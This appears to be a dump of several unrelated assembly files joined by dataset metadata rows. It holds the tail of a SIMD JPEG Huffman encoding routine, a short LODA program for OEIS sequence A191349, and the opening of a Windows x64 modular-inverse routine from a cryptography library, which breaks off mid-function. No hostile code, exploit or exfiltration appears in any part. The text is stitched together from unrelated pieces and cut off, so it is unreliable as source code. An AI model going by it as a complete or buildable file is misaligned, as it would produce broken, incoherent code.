;Z: size = dctbl->ehufsi[nbits];
%undef dctbl
pcmpeqw xmm5, xmm2 ;E: w5[i] = (w5[i] == 0 ? -1 : 0);
packsswb xmm5, xmm1 ;EF: b5[i] = w5[i], b5[i+8] = w1[i]
; w/ signed saturation
movq mm_put_buffer, [state + working_state.cur.put_buffer.simd]
;Z: put_buffer = state->cur.put_buffer.simd;
mov free_bits, [state + working_state.cur.free_bits]
;Z: free_bits = state->cur.free_bits;
%undef state
%define actbl esi
mov actbl, [frame + arg_actbl]
%define buffer eax
mov buffer, [frame + arg_buffer]
%undef frame
jmp .BEGIN
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
align 16
; size <= 32, so this is not really a loop
.BRLOOP1: ; .BRLOOP1:
movzx nbits, byte [actbl + c_derived_tbl.ehufsi + 0xf0]
; nbits = actbl->ehufsi[0xf0];
movd mm_code, dword [actbl + c_derived_tbl.ehufco + 0xf0 * 4]
; code = actbl->ehufco[0xf0];
and index, 0x7ffffff ; clear index if size == 32
sub size, 16 ; size -= 16;
sub free_bits, nbits ; if ((free_bits -= nbits) <= 0)
jle .EMIT_BRLOOP1 ; goto .EMIT_BRLOOP1;
movd mm_nbits, nbits ; nbits --> MMX register
psllq mm_put_buffer, mm_nbits ; put_buffer <<= nbits;
por mm_put_buffer, mm_code ; put_buffer |= code;
jmp .ERLOOP1 ; goto .ERLOOP1;
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
align 16
%ifdef PIC
times 6 nop
%else
times 2 nop
%endif
.BLOOP1: ; do { /* size = # of zero bits/elements to skip */
; if size == 32, index remains unchanged. Correct in .BRLOOP.
shr index, sizeb ; index >>= size;
lea t, [t + size * SIZEOF_WORD] ; t += size;
cmp size, 16 ; if (size > 16)
jg .BRLOOP1 ; goto .BRLOOP1;
.ERLOOP1: ; .ERLOOP1:
movsx nbits, word [t] ; nbits = *t;
%ifdef PIC
add size, size ; size += size;
%else
lea size, [size * 2] ; size += size;
%endif
movd mm_temp, nbits ; temp = nbits;
movzx nbits, byte [NBITS(nbits)] ; nbits = JPEG_NBITS(nbits);
lea size, [size * 8 + nbits] ; size = size * 8 + nbits;
movd mm_nbits, nbits ; nbits --> MMX register
movd mm_code, dword [actbl + c_derived_tbl.ehufco + (size - 16) * 4]
; code = actbl->ehufco[size-16];
movzx size, byte [actbl + c_derived_tbl.ehufsi + (size - 16)]
; size = actbl->ehufsi[size-16];
.BEGIN: ; .BEGIN:
pand mm_temp, [MASK_BITS(nbits)] ; temp &= (1 << nbits) - 1;
psllq mm_code, mm_nbits ; code <<= nbits;
add nbits, size ; nbits += size;
por mm_code, mm_temp ; code |= temp;
sub free_bits, nbits ; if ((free_bits -= nbits) <= 0)
jle .EMIT_ERLOOP1 ; insert code, flush buffer, init size, goto .BLOOP1
xor size, size ; size = 0; /* kill tzcnt input dependency */
tzcnt size, index ; size = # of trailing 0 bits in index
movd mm_nbits, nbits ; nbits --> MMX register
psllq mm_put_buffer, mm_nbits ; put_buffer <<= nbits;
inc size ; ++size;
por mm_put_buffer, mm_code ; put_buffer |= code;
test index, index
jnz .BLOOP1 ; } while (index != 0);
; Round 2
; t points to the last used word, possibly below t_ if the previous index had 32 zero bits.
.ELOOP1: ; .ELOOP1:
pmovmskb size, xmm4 ; size = 0; size |= ((b4[i] >> 7) << i);
pmovmskb index, xmm5 ; index = 0; index |= ((b5[i] >> 7) << i);
shl size, 16 ; size <<= 16;
or index, size ; index |= size;
not index ; index = ~index;
lea nbits, [t + (1 + DCTSIZE2) * SIZEOF_WORD]
; nbits = t + 1 + 64;
and nbits, -DCTSIZE2 * SIZEOF_WORD ; nbits &= -128; /* now points to &t_[64] */
sub nbits, t ; nbits -= t;
shr nbits, 1 ; nbits >>= 1; /* # of leading 0 bits in old index + 33 */
tzcnt size, index ; size = # of trailing 0 bits in index
inc size ; ++size;
test index, index ; if (index == 0)
jz .ELOOP2 ; goto .ELOOP2;
; NOTE: size == 32 cannot happen, since the last element is always 0.
shr index, sizeb ; index >>= size;
lea size, [size + nbits - 33] ; size = size + nbits - 33;
lea t, [t + size * SIZEOF_WORD] ; t += size;
cmp size, 16 ; if (size <= 16)
jle .ERLOOP2 ; goto .ERLOOP2;
.BRLOOP2: ; do {
movzx nbits, byte [actbl + c_derived_tbl.ehufsi + 0xf0]
; nbits = actbl->ehufsi[0xf0];
sub size, 16 ; size -= 16;
movd mm_code, dword [actbl + c_derived_tbl.ehufco + 0xf0 * 4]
; code = actbl->ehufco[0xf0];
sub free_bits, nbits ; if ((free_bits -= nbits) <= 0)
jle .EMIT_BRLOOP2 ; insert code and flush put_buffer
movd mm_nbits, nbits ; else { nbits --> MMX register
psllq mm_put_buffer, mm_nbits ; put_buffer <<= nbits;
por mm_put_buffer, mm_code ; put_buffer |= code;
cmp size, 16 ; if (size <= 16)
jle .ERLOOP2 ; goto .ERLOOP2;
jmp .BRLOOP2 ; } while (1);
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
align 16
.BLOOP2: ; do { /* size = # of zero bits/elements to skip */
shr index, sizeb ; index >>= size;
lea t, [t + size * SIZEOF_WORD] ; t += size;
cmp size, 16 ; if (size > 16)
jg .BRLOOP2 ; goto .BRLOOP2;
.ERLOOP2: ; .ERLOOP2:
movsx nbits, word [t] ; nbits = *t;
add size, size ; size += size;
movd mm_temp, nbits ; temp = nbits;
movzx nbits, byte [NBITS(nbits)] ; nbits = JPEG_NBITS(nbits);
movd mm_nbits, nbits ; nbits --> MMX register
lea size, [size * 8 + nbits] ; size = size * 8 + nbits;
movd mm_code, dword [actbl + c_derived_tbl.ehufco + (size - 16) * 4]
; code = actbl->ehufco[size-16];
movzx size, byte [actbl + c_derived_tbl.ehufsi + (size - 16)]
; size = actbl->ehufsi[size-16];
psllq mm_code, mm_nbits ; code <<= nbits;
pand mm_temp, [MASK_BITS(nbits)] ; temp &= (1 << nbits) - 1;
lea nbits, [nbits + size] ; nbits += size;
por mm_code, mm_temp ; code |= temp;
xor size, size ; size = 0; /* kill tzcnt input dependency */
sub free_bits, nbits ; if ((free_bits -= nbits) <= 0)
jle .EMIT_ERLOOP2 ; insert code, flush buffer, init size, goto .BLOOP2
tzcnt size, index ; size = # of trailing 0 bits in index
movd mm_nbits, nbits ; nbits --> MMX register
psllq mm_put_buffer, mm_nbits ; put_buffer <<= nbits;
inc size ; ++size;
por mm_put_buffer, mm_code ; put_buffer |= code;
test index, index
jnz .BLOOP2 ; } while (index != 0);
.ELOOP2: ; .ELOOP2:
mov nbits, t ; nbits = t;
lea t, [t + SIZEOF_WORD] ; t = &t[1];
and nbits, DCTSIZE2 * SIZEOF_WORD - 1 ; nbits &= 127;
and t, -DCTSIZE2 * SIZEOF_WORD ; t &= -128; /* t = &t_[0]; */
cmp nbits, (DCTSIZE2 - 2) * SIZEOF_WORD ; if (nbits != 62 * 2)
je .EFN ; {
movd mm_code, dword [actbl + c_derived_tbl.ehufco + 0]
; code = actbl->ehufco[0];
movzx nbits, byte [actbl + c_derived_tbl.ehufsi + 0]
; nbits = actbl->ehufsi[0];
sub free_bits, nbits ; if ((free_bits -= nbits) <= 0)
jg .EFN_SKIP_EMIT_CODE ; {
EMIT_QWORD size, sizeb, sizeh, , , , , , .EFN ; insert code, flush put_buffer
align 16
.EFN_SKIP_EMIT_CODE: ; } else {
movd mm_nbits, nbits ; nbits --> MMX register
psllq mm_put_buffer, mm_nbits ; put_buffer <<= nbits;
por mm_put_buffer, mm_code ; put_buffer |= code;
.EFN: ; } }
%define frame esp
mov frame, [t + save_frame]
%define state ecx
mov state, [frame + arg_state]
movq [state + working_state.cur.put_buffer.simd], mm_put_buffer
; state->cur.put_buffer.simd = put_buffer;
emms
mov [state + working_state.cur.free_bits], free_bits
; state->cur.free_bits = free_bits;
POP edi
POP esi
POP ebp
POP ebx
ret
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
align 16
.EMIT_BRLOOP1:
EMIT_QWORD emit_temp, emit_tempb, emit_temph, , , , , , \
.ERLOOP1
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
align 16
.EMIT_ERLOOP1:
EMIT_QWORD size, sizeb, sizeh, \
{ xor size, size }, \
{ tzcnt size, index }, \
{ inc size }, \
{ test index, index }, \
{ jnz .BLOOP1 }, \
.ELOOP1
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
align 16
.EMIT_BRLOOP2:
EMIT_QWORD emit_temp, emit_tempb, emit_temph, , , , \
{ cmp size, 16 }, \
{ jle .ERLOOP2 }, \
.BRLOOP2
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
align 16
.EMIT_ERLOOP2:
EMIT_QWORD size, sizeb, sizeh, \
{ xor size, size }, \
{ tzcnt size, index }, \
{ inc size }, \
{ test index, index }, \
{ jnz .BLOOP2 }, \
.ELOOP2
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 32
| 51.699475 | 117 | 0.450311 |
3ca2b739a70d136730d42092dcb7eff961fb80db | 387 | asm | Assembly | oeis/191/A191349.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/191/A191349.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/191/A191349.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A191349: Binomial sums a(n) = sum(binomial(n-k,2*k)^2,k=0..floor(n/3)).
; Submitted by Jon Maiga
; 1,1,1,2,10,37,102,251,667,2011,6246,18686,54183,157438,466579,1400509,4202829,12556360,37480728,112227269,337221408,1014992763,3055963443,9203918219,27745375212,83736861040,252968402935
lpb $0
sub $0,1
add $2,2
mov $3,$0
bin $3,$2
pow $3,2
add $1,$3
lpe
add $1,1
mov $0,$1
| 25.8 | 187 | 0.700258 |
e7ee768984e55b4923b4ed8bdcfdbff62b97ff25 | 28,074 | asm | Assembly | build/win64/ctx_inverse_mod_384-x86_64.asm | cemozerr/blst | 1c92f2d247a0abea54769fce3f6e1506eb4a9ce6 | [
"Apache-2.0"
] | null | null | null | build/win64/ctx_inverse_mod_384-x86_64.asm | cemozerr/blst | 1c92f2d247a0abea54769fce3f6e1506eb4a9ce6 | [
"Apache-2.0"
] | null | null | null | build/win64/ctx_inverse_mod_384-x86_64.asm | cemozerr/blst | 1c92f2d247a0abea54769fce3f6e1506eb4a9ce6 | [
"Apache-2.0"
] | null | null | null | OPTION DOTNAME
.text$ SEGMENT ALIGN(256) 'CODE'
PUBLIC ctx_inverse_mod_383
ALIGN 32
ctx_inverse_mod_383 PROC PUBLIC
DB 243,15,30,250
mov QWORD PTR[8+rsp],rdi ;WIN64 prologue
mov QWORD PTR[16+rsp],rsi
mov r11,rsp
$L$SEH_begin_ctx_inverse_mod_383::
mov rdi,rcx
mov rsi,rdx
mov rdx,r8
push rbp
push rbx
push r12
push r13
push r14
push r15
sub rsp,1112
$L$SEH_body_ctx_inverse_mod_383::
lea rax,QWORD PTR[((88+511))+rsp]
and rax,-512
mov QWORD PTR[32+rsp],rdi
mov QWORD PTR[40+rsp],rdx
mov r8,QWORD PTR[rsi]
mov r9,QWORD PTR[8+rsi]
mov r10,QWORD PTR[16+rsi]
mov r11,QWORD PTR[24+rsi]
mov r12,QWORD PTR[32+rsi]
mov r13,QWORD PTR[40+rsi]
mov r14,QWORD PTR[rdx]
mov r15,QWORD PTR[8+rdx]
mov rbx,QWORD PTR[16+rdx]
mov rbp,QWORD PTR[24+rdx]
mov rsi,QWORD PTR[32+rdx]
mov rdi,QWORD PTR[40+rdx]
mov QWORD PTR[rax],r8
mov QWORD PTR[8+rax],r9
mov QWORD PTR[16+rax],r10
mov QWORD PTR[24+rax],r11
mov QWORD PTR[32+rax],r12
mov QWORD PTR[40+rax],r13
mov QWORD PTR[48+rax],r14
mov QWORD PTR[56+rax],r15
mov QWORD PTR[64+rax],rbx
mov QWORD PTR[72+rax],rbp
mov QWORD PTR[80+rax],rsi
mov rsi,rax
mov QWORD PTR[88+rax],rdi
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[96+rdi],rdx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[96+rdi],rdx
xor rsi,256
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov rax,QWORD PTR[96+rsi]
mov r11,QWORD PTR[144+rsi]
mov rbx,rdx
mov r10,rax
imul QWORD PTR[56+rsp]
mov r8,rax
mov rax,r11
mov r9,rdx
imul QWORD PTR[64+rsp]
add r8,rax
adc r9,rdx
mov QWORD PTR[48+rdi],r8
mov QWORD PTR[56+rdi],r9
sar r9,63
mov QWORD PTR[64+rdi],r9
mov QWORD PTR[72+rdi],r9
mov QWORD PTR[80+rdi],r9
mov QWORD PTR[88+rdi],r9
lea rsi,QWORD PTR[96+rsi]
mov rax,r10
imul rbx
mov r8,rax
mov rax,r11
mov r9,rdx
imul rcx
add r8,rax
adc r9,rdx
mov QWORD PTR[96+rdi],r8
mov QWORD PTR[104+rdi],r9
sar r9,63
mov QWORD PTR[112+rdi],r9
mov QWORD PTR[120+rdi],r9
mov QWORD PTR[128+rdi],r9
mov QWORD PTR[136+rdi],r9
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
sar r13,63
mov QWORD PTR[48+rdi],r13
mov QWORD PTR[56+rdi],r13
mov QWORD PTR[64+rdi],r13
mov QWORD PTR[72+rdi],r13
mov QWORD PTR[80+rdi],r13
mov QWORD PTR[88+rdi],r13
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_767x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_767x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_767x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_767x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_767x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_767x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_383_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_767x63
xor rsi,256+8*12
mov edi,31
call __ab_approximation_31
mov QWORD PTR[72+rsp],r12
mov QWORD PTR[80+rsp],r13
mov rdi,256
xor rdi,rsi
call __smulx_191_n_shift_by_31
mov QWORD PTR[56+rsp],rdx
mov QWORD PTR[64+rsp],rcx
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
lea rdi,QWORD PTR[48+rdi]
call __smulx_191_n_shift_by_31
mov QWORD PTR[72+rsp],rdx
mov QWORD PTR[80+rsp],rcx
mov rdx,QWORD PTR[56+rsp]
mov rcx,QWORD PTR[64+rsp]
lea rsi,QWORD PTR[96+rsi]
lea rdi,QWORD PTR[48+rdi]
call __smulx_383x63
mov rdx,QWORD PTR[72+rsp]
mov rcx,QWORD PTR[80+rsp]
